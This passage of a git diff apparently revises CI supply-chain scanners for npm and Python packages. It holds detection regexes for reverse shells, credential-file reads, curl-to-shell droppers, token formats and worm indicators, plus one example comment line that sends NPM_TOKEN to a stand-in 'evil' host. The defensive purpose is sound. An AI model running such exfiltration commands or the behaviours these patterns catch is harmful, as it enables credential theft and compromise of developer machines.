logical-line context)- # so the evidence string stays bounded while a changed payload past the cap still reopens.- # The matches are streamed from finditer rather than materialized into a list: a generated file can repeat a cheap- # signal (e.g. NPM_TOKEN) millions of times, and holding a re.Match per occurrence before applying the cap would- # stall or OOM the scan.+ # Record every match, not a truncated sample, so an extra match appended to an already-flagged file changes the evidence instead of riding the first few. Past _MAX_EVIDENCE_MATCHES the rest fold into one digest binding their logical-line context. The matches are streamed from finditer rather than materialized: a generated file can repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a re.Match per occurrence before applying the cap would stall or OOM the scan.it = pat.finditer(text)shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))if not shown_matches:@@ -1195,8 +1065,7 @@ def _evidence(shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches]- # Fold the rest (past the cap) into one digest as they arrive, never building a second list. Byte-identical to- # digesting matches[_MAX_EVIDENCE_MATCHES:].+ # Fold the rest (past the cap) into one digest as they arrive, never building a second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)if overflow_count:shown.append(f"(+{overflow_count} more) sha256:{digest}")@@ -1204,10 +1073,7 @@ def _evidence(def _ioc_evidence(text: str, needle: str) -> str:- """Matched-line context (with bracket-group continuation) for a literal IOC- needle, so a changed adjacent fetch/exfil body reopens the key instead of- riding the bare constant. Falls back to the needle itself if, defensively,- nothing matches (the caller only reaches here when ``needle in text``)."""+ """Matched-line context (with bracket-group continuation) for a literal IOC needle, so a changed adjacent fetch/exfil body reopens the key instead of riding the bare constant. Falls back to the needle itself if, defensively, nothing matches."""return _evidence(text, re.compile(re.escape(needle))) or needle@@ -1215,10 +1081,7 @@ LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")# ─────────────────────────────────────────────────────────────────────-# Code-only scanning for JS/TS sources. Blank `//` and `/* */` comments before matching (the top FP source: scary-# strings in JSDoc/changelog comments), tracking string/template/regex context so a `//` inside "http://..." is not-# mistaken for a comment. Strings are NOT blanked (droppers hide payloads there). Fail open on lexer confusion: the-# raw text is still scanned. JS sibling of scan_packages.py::_strip_noncode.+# Code-only scanning for JS/TS sources: blank `//` and `/* */` comments before matching (the top FP source is scary strings in JSDoc/changelog comments), tracking string/template/regex context so a `//` inside "http://..." is not mistaken for a comment. Strings are NOT blanked, since droppers hide payloads there. Fails open on lexer confusion, with the raw text still scanned. JS sibling of scan_packages.py::_strip_noncode.# ─────────────────────────────────────────────────────────────────────_JS_FAMILY_SUFFIXES = (".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx")@@ -1246,12 +1109,7 @@ _IDENT_CHARS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01def _slash_is_regex(prev_tok: str) -> bool:- """Disambiguate a lone ``/``: regex literal vs division operator.-- Biased toward regex when ambiguous -- regex state never blanks, so a- wrong guess only costs FP reduction (or a fail-open), never a missed- detection.- """+ """Disambiguate a lone ``/``: regex literal vs division operator. Biased toward regex when ambiguous, since regex state never blanks, so a wrong guess only costs FP reduction (or a fail-open), never a missed detection."""if prev_tok == "":return True # start of file -> expression positionif prev_tok in _REGEX_PRECEDING_KEYWORDS:@@ -1426,12 +1284,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:body = scripts.get(hook)if not isinstance(body, str):continue- # Pin the whole lifecycle body via one digest shared by every lifecycle finding below: a script that keeps the- # matched signal but changes another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" https://evil`)- # must reopen. The stored evidence is a bounded matched snippet plus this digest, never the entire body, so- # `--write-baseline` on a package with a multi-MiB install script does not bloat the baseline JSON while the- # digest still binds the full body. Normalized to match _evidence_hash so a reindent alone does not reopen,- # while whitespace inside quoted strings is preserved so a changed quoted payload does.+ # Pin the whole lifecycle body via one digest shared by every lifecycle finding below: a script that keeps the matched signal but changes another line (swapping `echo safe` for `curl -d "$NPM_TOKEN" https://evil`) must reopen. The stored evidence is a bounded snippet plus this digest, never the entire body, so `--write-baseline` on a package with a multi-MiB install script does not bloat the baseline JSON. Normalized to match _evidence_hash so a reindent alone does not reopen, while whitespace inside quoted strings is preserved so a changed quoted payload does.body_digest = hashlib.sha256(_canon_preserve_strings(body).encode("utf-8", "replace")).hexdigest()@@ -1451,8 +1304,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:),))- # Cred file paths in a lifecycle script are exfil prep (npm auto-runs these on `npm ci`); manual scripts are out- # of scope.+ # Cred file paths in a lifecycle script are exfil prep (npm auto-runs these on `npm ci`); manual scripts are out of scope.for path_substr, why in CRED_PATH_SUBSTRINGS:if path_substr in body:findings.append(@@ -1514,11 +1366,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:def _host_in_outbound_context(text: str, host: str) -> bool:- """True if `host` appears consistent with an outbound call.-- A bare array literal (defensive blocklist) is safe; co-occurrence- with an HTTP URL scheme or a fetch verb in a short window is not.- """+ """True if `host` appears consistent with an outbound call. A bare array literal (defensive blocklist) is safe; co-occurrence with an HTTP URL scheme or a fetch verb in a short window is not."""host_re = re.escape(host)# 1. URL form: http://host or https://host or //host/ or //host"url_form = re.compile(@@ -1545,10 +1393,7 @@ def _host_in_outbound_context(text: str, host: str) -> bool:def _outbound_host_evidence(text: str, host: str) -> str:- """Evidence capturing the host WITH its outbound context (URL path, fetch- call, host config), so a changed path/headers/body reopens the key instead- of riding the bare host literal. Falls back to the host if none matches."""- # Escape for regex (IPs contain dots).+ """Evidence capturing the host WITH its outbound context (URL path, fetch call, host config), so a changed path/headers/body reopens the key instead of riding the bare host literal. Falls back to the host if none matches."""host_re = re.escape(host)patterns = (re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),@@ -1557,17 +1402,10 @@ def _outbound_host_evidence(text: str, host: str) -> str:rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",re.IGNORECASE,),- # Host-config form: capture the whole line (path/headers/body), so a changed outbound payload on the same- # hostname line reopens the key.+ # Host-config form: capture the whole line (path/headers/body), so a changed outbound payload on the same hostname line reopens the key.re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),)- # Record EVERY outbound context for the host, not just the first form that matches: a file that already has a- # baselined URL for the host and later adds a separate host-config request (or a second URL) must change the- # evidence so the new payload cannot inherit the old key. Forms are claimed in order, and a region already claimed- # by an earlier form is skipped, so the common single-context case keeps its existing snippet. Each form is capped- # at _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a minified file cannot make the- # overlap check quadratic; once chosen is full the rest are folded into a digest AS THEY ARRIVE (never accumulated- # into a list, so a host repeated millions of times cannot OOM the scan) and an added context still reopens.+ # Record EVERY outbound context for the host, not just the first form that matches: a file with a baselined URL for the host that later adds a separate host-config request must change the evidence so the new payload cannot inherit the old key. Forms are claimed in order and a region already claimed is skipped, so the common single-context case keeps its snippet. Each form is capped at _MAX_EVIDENCE_MATCHES so a host repeated thousands of times cannot make the overlap check quadratic; past the cap the rest are folded into a digest AS THEY ARRIVE, so a host repeated millions of times cannot OOM the scan.lines, sl_blanked, ml_blanked, nl = _index_text(text)claimed: list[tuple[int, int]] = []chosen: list[re.Match] = []@@ -1576,8 +1414,7 @@ def _outbound_host_evidence(text: str, host: str) -> str:for pat in patterns:for m in pat.finditer(text):if len(chosen) < _MAX_EVIDENCE_MATCHES:- # Overlap check runs only while filling the display list, so `claimed` is bounded by the cap and this- # stays O(cap) per match (not quadratic), while every later match is still counted below.+ # Overlap check runs only while filling the display list, so `claimed` is bounded by the cap and this stays O(cap) per match, while every later match is still counted below.if any(m.start() < e and s < m.end() for s, e in claimed):continueclaimed.append((m.start(), m.end()))@@ -1597,17 +1434,11 @@ def _outbound_host_evidence(text: str, host: str) -> str:def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:findings: list[Finding] = []- # Code-only scanning for JS/TS sources: blank comments before matching so- # an IOC host / `eval(atob)` example / campaign marker quoted in a comment- # cannot manufacture a false positive. Assigned string literals (where real- # droppers hide base64 payloads) are preserved. Non-JS text (json/yaml/sh/- # py/html) is scanned as-is -- this lexer only understands JS comments.+ # Code-only scanning for JS/TS sources: blank comments before matching so an IOC host, `eval(atob)` example or campaign marker quoted in a comment cannot manufacture a false positive. Assigned string literals, where real droppers hide base64 payloads, are preserved. Non-JS text is scanned as-is, since this lexer only understands JS comments.if rel.lower().endswith(_JS_FAMILY_SUFFIXES):text = _strip_js_noncode(text)- # IOC substrings (literal, case-sensitive). Evidence is the matched-line context (with its bracket-group- # continuation), not the bare needle: an IOC host/hash left in place while the adjacent fetch/exfil body changes- # must reopen the key instead of riding the constant.+ # IOC substrings (literal, case-sensitive). Evidence is the matched-line context with its bracket-group continuation, not the bare needle: an IOC host or hash left in place while the adjacent fetch/exfil body changes must reopen the key.for needle, (sev, why) in KNOWN_IOC_STRINGS.items():if needle in text:findings.append(@@ -1621,8 +1452,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:))- # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context (path/headers/body) when present so a- # changed exfil payload on the same call reopens; falls back to the bare host when it is not in an outbound call.+ # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context (path/headers/body) when present so a changed exfil payload on the same call reopens; falls back to the bare host when it is not in an outbound call.for needle, why in CRED_HOST_ALWAYS_BAD:if needle in text:findings.append(@@ -1639,8 +1469,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:))- # Cred surfaces, tier 2: hosts that appear in defensive code too; require co-occurrence with a fetch verb or URL- # prefix.+ # Cred surfaces, tier 2: hosts that appear in defensive code too; require co-occurrence with a fetch verb or URL prefix.for needle, why in CRED_HOST_NEEDS_CONTEXT:if needle in text and _host_in_outbound_context(text, needle):findings.append(@@ -1658,9 +1487,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:))- # Credential PATHS aren't scanned here (too many FPs at file scope);- # scan_package_json catches them inside lifecycle scripts.- # JS-specific regex.+ # Credential PATHS are not scanned here (too many FPs at file scope); scan_package_json catches them inside lifecycle scripts.if _JS_FETCH_EVAL.search(text):findings.append(Finding(@@ -1701,8 +1528,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:return findings-# Filename suffix decides which scanners run; .cjs/.mjs/.ts are treated like .js (attackers use whichever the loader-# resolves).+# Filename suffix decides which scanners run; .cjs/.mjs/.ts are treated like .js (attackers use whichever the loader resolves)._TEXT_SUFFIXES = (".js",".mjs",@@ -1730,8 +1556,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:rel = path.relative_to(root).as_posix()lower = rel.lower()if not lower.endswith(_TEXT_SUFFIXES):- # Skip native binaries (regex over machine code is noise); content-magic detection also skips extensionless- # executables and versioned shared libraries.+ # Skip native binaries (regex over machine code is noise); content-magic detection also skips extensionless executables and versioned shared libraries.try:if path.stat().st_size > HARD_MAX_TEXT_FILE_BYTES:continue@@ -1771,13 +1596,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | None]:- """Download + extract + scan a single package; cleans up its dir.-- Returns (findings, error). `error` is non-None only on hard- failures (download, integrity mismatch, malformed tarball); on a- clean run with findings, error is None and the caller decides the- exit code from severity.- """+ """Download, extract and scan a single package, cleaning up its dir. Returns (findings, error); `error` is non-None only on hard failures (download, integrity mismatch, malformed tarball), and on a clean run with findings the caller decides the exit code from severity."""pkg_dir = workspace / f"{pkg.name.replace('/', '_')}-{pkg.version}"pkg_dir.mkdir(parents = True, exist_ok = True)tarball = pkg_dir / "pkg.tgz"@@ -1799,28 +1618,17 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N# ─────────────────────────────────────────────────────────────────────-# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate can enforce without red-failing on rare-# legitimate-library behavior. Matched on ``(normalized package, package-relative path, pattern)`` rather than evidence-# text, so a version bump does not reopen a finding, but a *new* kind of finding in a listed file is a different-# pattern and still fails. Mirrors scan_packages.py. Regenerate with ``--write-baseline``.+# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate can enforce without red-failing on rare legitimate-library behavior. Matched on ``(normalized package, package-relative path, pattern)`` rather than evidence text, so a version bump does not reopen a finding while a NEW kind of finding in a listed file is a different pattern and still fails. Mirrors scan_packages.py; regenerate with ``--write-baseline``.# ─────────────────────────────────────────────────────────────────────_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")-# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new-# payload under an already-listed package/path/pattern is not auto-suppressed; v2-# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline-# with entries is ignored (fail closed) rather than mis-applied.+# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new payload under an already-listed package/path/pattern is not auto-suppressed; v2 keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline with entries is ignored (fail closed) rather than mis-applied._BASELINE_SCHEMA_VERSION = 3def _norm_pkg_name(display: str) -> str:- """``@scope/[email protected]`` / ``[email protected]`` -> name without the version.-- The version is the LAST ``@``-separated field; a leading ``@`` (scope)- is preserved. Lower-cased (npm names are case-insensitive). Sentinels- like ``<root>`` / ``<lockfile>`` pass through unchanged.- """+ """``@scope/[email protected]`` / ``[email protected]`` -> name without the version. The version is the LAST ``@``-separated field; a leading ``@`` (scope) is preserved. Lower-cased, since npm names are case-insensitive. Sentinels like ``<root>`` pass through unchanged."""s = (display or "").strip()at = s.rfind("@")if at > 0: # >0 so a leading @scope is not treated as the version sep@@ -1832,27 +1640,19 @@ _NPM_TARBALL_ROOT = "package/"def _relpath_in_package(filename: str) -> str:- """Path within the published package, stable across version bumps. npm- tarballs root every file at ``package/``; strip it so the key is the real- source path (``dist/index.js``) and a new file with the same basename in a- different directory is not silently suppressed."""+ """Path within the published package, stable across version bumps. npm tarballs root every file at ``package/``; strip it so the key is the real source path and a new file with the same basename in a different directory is not silently suppressed."""f = (filename or "").replace("\\", "/")return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else fdef _evidence_hash(evidence: str) -> str:- """Stable digest of the matched evidence. The npm snippet carries no line- markers, so it is already version-stable; whitespace outside string literals is- collapsed (reindent-stable) while whitespace inside literals is preserved, so a- changed payload body reopens but a formatter reindent does not."""+ """Stable digest of the matched evidence. The npm snippet carries no line markers, so it is already version-stable; whitespace outside string literals is collapsed (reindent-stable) while whitespace inside literals is preserved, so a changed payload body reopens but a formatter reindent does not."""canon = _canon_preserve_strings(evidence or "")return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()def _finding_key(f: Finding) -> tuple[str, str, str, str]:- """Allowlist key: normalized package, package-relative path, pattern, and a- hash of the matched evidence -- so changed flagged code under an already-listed- package/path/pattern reopens instead of riding the reviewed entry."""+ """Allowlist key: normalized package, package-relative path, pattern, and a hash of the matched evidence, so changed flagged code under an already-listed package/path/pattern reopens instead of riding the reviewed entry."""return (_norm_pkg_name(f.package),_relpath_in_package(f.filename),@@ -1878,8 +1678,7 @@ def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:if not isinstance(entries, list):print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)return set()- # v2 shares v3's package-relative keying, so its entries migrate by recomputing the evidence hash from their stored- # evidence; only pre-v2 (basename) is rejected.+ # v2 shares v3's package-relative keying, so its entries migrate by recomputing the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):print(f" [WARN] baseline schema v{data.get('version')} predates package-relative "@@ -2097,9 +1896,7 @@ def main(argv: list[str] | None = None) -> int:}[args.fail_on]threshold_rank = _SEVERITY_RANK[threshold]- # --write-baseline: persist the full current at/above-threshold set as the new allowlist (ignoring any loaded- # baseline), then exit 0. A hard error means the scan was incomplete, so warn: a baseline baked from a partial- # run would silently allow whatever failed to download.+ # --write-baseline: persist the full current at/above-threshold set as the new allowlist (ignoring any loaded baseline), then exit 0. A hard error means the scan was incomplete, so warn: a baseline baked from a partial run would silently allow whatever failed to download.if args.write_baseline:if hard_errors:print(@@ -2110,8 +1907,7 @@ def main(argv: list[str] | None = None) -> int:_write_baseline(args.write_baseline, all_findings, threshold_rank)return 0- # Baseline allowlist: suppress triaged, known-good findings so the CI gate can be enforcing without red-failing on- # legitimate-library noise.+ # Baseline allowlist: suppress triaged, known-good findings so the CI gate can be enforcing without red-failing on legitimate-library noise.if args.no_baseline:baseline_path = Noneelif args.baseline:diff --git a/scripts/scan_packages.py b/scripts/scan_packages.pyindex 2f7cb3f3839..b3982b30f48 100644--- a/scripts/scan_packages.py+++ b/scripts/scan_packages.py@@ -1,7 +1,6 @@#!/usr/bin/env python3# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## .github/workflows/security-audit.yml's pip-scan-packages job depends# on this file existing at scripts/scan_packages.py."""@@ -103,10 +102,7 @@ RE_BASE64 = re.compile(RE_EXEC_EVAL = re.compile(r"\b(exec|eval)\s*\(")-# Network APIs (excludes urllib.parse which is pure string manipulation). ``httpx2`` is the pydantic-maintained-# successor and a separate import name, so the older ``httpx``-only alternative did not see it. openai 3.0.0 requires-# httpx2 and routes every call through it, which made the SDK's own HTTP invisible to each combined check that needs a-# network half (secrets + network, IMDS + network, archive + network).+# Network APIs (excludes urllib.parse, pure string manipulation). ``httpx2`` is the pydantic-maintained successor and a separate import name: openai 3.0.0 requires it and routes every call through it, which made the SDK's own HTTP invisible to each combined check needing a network half.RE_NETWORK = re.compile(r"\burllib\.request\b"r"|\burlopen\s*\("@@ -117,10 +113,8 @@ RE_NETWORK = re.compile(r"|\bhttp\.server\b",)-# Large base64 blob (>200 chars of contiguous base64 alphabet)RE_LARGE_BLOB = re.compile(r"[A-Za-z0-9+/=]{200,}")-# Credential path access (requires file-access context, not just string mentions)RE_CRED_ACCESS = re.compile(r"(?:open|Path|read_text|read_bytes)\s*\([^)]*?"r"(?:\.ssh[/\\]|\.aws[/\\]|\.kube[/\\]|\.gnupg[/\\]|\.docker[/\\]"@@ -135,7 +129,6 @@ RE_CRED_ACCESS = re.compile(re.DOTALL,)-# Chained / advanced obfuscation (marshal, compile, zlib, nested decode)RE_OBFUSCATION = re.compile(r"\bmarshal\s*\.\s*(loads|load)\b"r"|\bcompile\s*\([^)]*['\"]exec['\"]\s*\)"@@ -151,7 +144,6 @@ RE_OBFUSCATION = re.compile(re.DOTALL,)-# Embedded cryptographic keys (PEM-encoded)RE_EMBEDDED_KEYS = re.compile(r"-----BEGIN\s+(?:RSA\s+)?(?:PUBLIC|PRIVATE|ENCRYPTED|EC|DSA|OPENSSH)\s+KEY-----"r"|\bRSA\s+PUBLIC\s+KEY\b.*[A-Za-z0-9+/=]{64,}"@@ -159,7 +151,6 @@ RE_EMBEDDED_KEYS = re.compile(re.DOTALL,)-# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)RE_CLOUD_METADATA = re.compile(@@ -229,20 +220,13 @@ RE_ARCHIVE_STAGING = re.compile(re.DOTALL,)-# Anti-analysis / sandbox evasion / debugger detection.-# Deliberately NO bare ``platform.system() ... Linux/Windows/Darwin`` branch: under re.DOTALL that matched across the-# whole file -- any cross-platform library (typer, packaging, pandas, pymupdf, ...) trips it -- so it had ~zero-# precision and only generated false positives. OS detection alone is not an anti-analysis signal; the debugger/VM/-# long-sleep signals below are.+# Anti-analysis / sandbox evasion / debugger detection. Deliberately NO bare ``platform.system() ... Linux/Windows/Darwin`` branch: under re.DOTALL it matched across the whole file, so any cross-platform library tripped it. OS detection alone is not an anti-analysis signal; the debugger/VM/long-sleep signals below are.RE_ANTI_ANALYSIS = re.compile(r"\bptrace\b"r"|\bsys\s*\.\s*gettrace\s*\("r"|\bsys\s*\.\s*settrace\b"r"|\bTracerPid\b"- # /proc/self/status is read to scrape TracerPid for anti-debug. A leading \b here is unsatisfiable (\b never- # holds between a non-word boundary and "/"), so the old pattern was dead; a lookbehind that only forbids a- # preceding word char or path separator lets `open("/proc/self/status")` and `cat /proc/self/status` match- # while avoiding mid-path partials.+ # /proc/self/status is read to scrape TracerPid for anti-debug. A leading \b is unsatisfiable there, so the old pattern was dead; a lookbehind forbidding only a preceding word char or path separator matches open("/proc/self/status") and `cat /proc/self/status` while avoiding mid-path partials.r"|(?<![\w/])/proc/self/status\b"r"|\bIsDebuggerPresent\b"r"|\bvirtualbox\b.*\bhardware\b"@@ -266,15 +250,9 @@ RE_FS_ENUM = re.compile(r"|\bglob\s*\.\s*glob\s*\([^)]*(?:\*\*|\*\.pem|\*\.key|\*\.cer|\*\.pfx|\*\.p12)"r"|\bos\.listdir\s*\(\s*['\"](?:/home|/root|/Users|/etc)"r"|\bPath\s*\(\s*['\"]~['\"]\s*\)\s*\.\s*glob\b"- # Shell / REPL history FILES. Replaces `\bhistory\b.*\bread\b`, whose re.DOTALL `.*` spanned- # the whole file and produced 9 of the 11 baselined CRITICALs here (httpx, urllib3, IPython,- # torch) -- each allowlisted, which suppressed this check for the whole file.+ # Shell / REPL history FILES. Replaces `\bhistory\b.*\bread\b`, whose re.DOTALL `.*` spanned the whole file and produced 9 of the 11 baselined CRITICALs here, each allowlisted, which suppressed this check for the whole file.r"|\.(?:bash|zsh|ksh|sh|python|node_repl|psql|mysql|rediscli|irb|sqlite)_history\b"- # Undotted history files, with a boundary that finds them however the path was built.- # fish writes fish_history and PowerShell writes PSReadLine/ConsoleHost_history.txt, neither with a leading dot.- # A quote counts as a boundary alongside a separator, so a basename assembled by- # Path.home() / "fish" / "fish_history" or os.path.join(h, "fish", "fish_history") still matches: there the- # character before the name is the quote, not a slash.+ # Undotted history files, with a boundary that finds them however the path was built (fish_history, PSReadLine/ConsoleHost_history.txt). A quote counts as a boundary alongside a separator, so a basename assembled by Path.home() / "fish" / "fish_history" still matches.r"|(?:^|[/\\'\"])(?i:fish_history|ConsoleHost_history\.txt)\b"r"|['\"~/]\.history\b"r"|\bHISTFILE\b"@@ -283,14 +261,7 @@ RE_FS_ENUM = re.compile(re.DOTALL,)-# Reverse shell / bind shell patterns. LEFT EXACTLY AS IT WAS, dup2 included,-# because this pattern is what the evidence is extracted with. It is re.DOTALL,-# so a match spans from the first signal to the last and the rendered evidence-# for a long span is a digest of the whole thing; editing the alternation moves-# the span, moves the digest, and silently reopens every reviewed baseline entry-# taken against it. Removing the dup2 branch here un-suppressed 11 entries on-# the studio and hf-stack shards, multiprocess/tests/__init__.py among them.-# Whether dup2 alone is enough is decided below instead, where it costs nothing.+# Reverse shell / bind shell patterns. LEFT EXACTLY AS IT WAS, dup2 included, because this pattern is what the evidence is extracted with: it is re.DOTALL, so a match spans from the first signal to the last and editing the alternation moves the span, moves the digest, and silently reopens every reviewed baseline entry taken against it (removing the dup2 branch un-suppressed 11 entries). Whether dup2 alone is enough is decided below instead.RE_REVERSE_SHELL = re.compile(r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"@@ -301,15 +272,7 @@ RE_REVERSE_SHELL = re.compile(re.DOTALL,)-# The same thing without the dup2 branch, used only to answer "would this file still be a reverse shell if dup2 did not-# count?".-# dup2 is the ordinary way to point a file descriptor at a file, and it was the only single-token alternative above,-# in a pattern whose every other branch names two co-occurring signals.-# So it fired on capture helpers and redirect plumbing: ten of the nineteen reverse-shell entries in the committed-# baseline are dup2 with no socket anywhere in the file (click/testing.py, numba/tests/support.py, rich/console.py,-# torch elastic redirects.py, sentencepiece) and not one is a true positive.-# triton 3.8.0 shipped an eleventh in _internal_testing.py, which reddened main.-# A reverse shell dup2s onto a SOCKET, so the socket is the half carrying the meaning.+# The same thing without the dup2 branch, used only to answer "would this file still be a reverse shell if dup2 did not count?". dup2 is the ordinary way to point a file descriptor at a file and was the only single-token alternative above, so it fired on capture helpers and redirect plumbing: ten of the nineteen reverse-shell baseline entries are dup2 with no socket anywhere in the file, and not one is a true positive. A reverse shell dup2s onto a SOCKET, so the socket is the half carrying the meaning.RE_REVERSE_SHELL_WITHOUT_DUP = re.compile(r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"@@ -344,26 +307,21 @@ RE_CRYPTO_THEFT = re.compile(re.IGNORECASE,)-# Import line in .pth (Python site.py only exec()s lines starting with "import")RE_PTH_IMPORT = re.compile(r"^\s*import\s+", re.MULTILINE)-# openssl CLI invocations via subprocess (encrypted exfiltration)RE_OPENSSL_CLI = re.compile(r"\bopenssl\s+(enc|rand|rsautl|pkeyutl|genrsa|dgst|s_client)\b")-# Write to /tmp then execute (staged dropper)RE_TEMP_EXEC = re.compile(r"/tmp/\S+.*(?:subprocess|os\.system|os\.popen|Popen|chmod.*\+x)",re.DOTALL,)-# C2 polling / beaconing loopRE_C2_POLLING = re.compile(r"while\s+True.*(?:time\.sleep|sleep)\s*\(.*(?:urlopen|requests\.|httpx\.)",re.DOTALL,)-# Developer-tool persistence hooks. Lightning 2.6.x planted SessionStart hooks-# into Claude Code / VS Code / Cursor so the payload re-attached on editor open.+# Developer-tool persistence hooks. Lightning 2.6.x planted SessionStart hooks into Claude Code / VS Code / Cursor so the payload re-attached on editor open.RE_DEV_TOOL_HIJACK = re.compile(r"\.claude/settings\.json"r"|\.cursor/.*hooks"@@ -374,8 +332,7 @@ RE_DEV_TOOL_HIJACK = re.compile(r"|\bautomator\b.*\.workflow\b",)-# Hard-coded credential / API-token regexes embedded in source.-# Packages that ship regexes for OTHER people's secrets are nearly always stealers.+# Hard-coded credential / API-token regexes embedded in source: packages that ship regexes for OTHER people's secrets are nearly always stealers.RE_TOKEN_REGEX = re.compile(r"\bgh[psoru]_[A-Za-z0-9_]{20,}" # GitHub PAT/OAuth/etc.r"|\bgithub_pat_[A-Za-z0-9_]{20,}"@@ -389,15 +346,13 @@ RE_TOKEN_REGEX = re.compile(r"|\bglpat-[0-9A-Za-z_-]{20,}", # GitLab PAT)-# Mini Shai-Hulud May-12 2026 wave indicators. `transformers.pyz` dropper name is high-confidence; the host + slogans-# are CRITICAL.+# Mini Shai-Hulud May-12 2026 wave indicators. `transformers.pyz` dropper name is high-confidence; the host + slogans are CRITICAL.RE_MAY12_IOC = re.compile(r"(git-tanstack\.com|/tmp/transformers\.pyz|transformers\.pyz"r"|With Love TeamPCP|We've been online over 2 hours)",re.IGNORECASE,)-# JavaScript-side obfuscation.RE_JS_OBFUSCATION = re.compile(r"_0x[a-f0-9]{4,6}\s*=\s*function"r"|var\s+_0x[a-f0-9]{4,6}\b"@@ -405,8 +360,7 @@ RE_JS_OBFUSCATION = re.compile(r"|String\.fromCharCode\s*\(\s*\d+\s*(?:,\s*\d+\s*){10,}\)",)-# Web3 / wallet-hijack pattern. The Qix npm phish overrode fetch/XMLHttpRequest-# and swapped recipient addresses via a `window.ethereum` listener.+# Web3 / wallet-hijack pattern. The Qix npm phish overrode fetch/XMLHttpRequest and swapped recipient addresses via a `window.ethereum` listener.RE_WEB3_HIJACK = re.compile(r"\bwindow\.ethereum\b"r"|\bweb3\.eth\.\w+\s*\("@@ -415,9 +369,7 @@ RE_WEB3_HIJACK = re.compile(r"|TronWeb|solanaWeb3",)-# Self-propagating worms (Shai-Hulud, ForceMemo) plant their own GitHub workflow in every repo they reach and use-# trufflehog/gitleaks for credential discovery. Any of these strings in a package payload is strong repo-takeover-# evidence.+# Self-propagating worms (Shai-Hulud, ForceMemo) plant their own GitHub workflow in every repo they reach and use trufflehog/gitleaks for credential discovery.RE_WORKFLOW_INJECT = re.compile(r"\.github/workflows/[^\"\']*\.ya?ml"r"|\btrufflehog\b|\bgitleaks\b"@@ -427,7 +379,6 @@ RE_WORKFLOW_INJECT = re.compile(re.IGNORECASE | re.DOTALL,)-# install.sh / postinstall scripts piping remote code into a shell.RE_SHELL_DROPPER = re.compile(r"\bcurl\b[^\n|]*\|\s*(?:sh|bash|zsh)\b"r"|\bwget\b[^\n|]*-O-\s*\|\s*(?:sh|bash|zsh)\b"@@ -444,24 +395,17 @@ class Finding:filename: strcheck: strevidence: str = ""- # Whole-file digest; a baseline entry may pin it (see _load_baseline).file_sha256: str = ""def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:- """Run all .pth-specific checks.-- Executable .pth files run on every Python startup, so any suspicious- pattern in a .pth is treated as CRITICAL.- """+ """Run all .pth-specific checks. Executable .pth files run on every Python startup, so any suspicious pattern in a .pth is CRITICAL."""findings = []- # Only .pth files with import lines are executableimport_lines = [line for line in content.splitlines() if RE_PTH_IMPORT.match(line)]if not import_lines:return findings # Pure path entries, inert- # All patterns are CRITICAL inside executable .pth files_pth_checks = [(RE_SUBPROCESS, ".pth has subprocess/os exec calls"),(RE_BASE64, ".pth has base64/encoding obfuscation"),@@ -502,8 +446,7 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:)if RE_LARGE_BLOB.search(content):- # Digest every blob (not just the first 120 chars, and not just the first blob), so a later payload that keeps- # the prefix or appends a second encoded blob reopens.+ # Digest every blob (not just the first 120 chars, and not just the first blob), so a later payload that keeps the prefix or appends a second 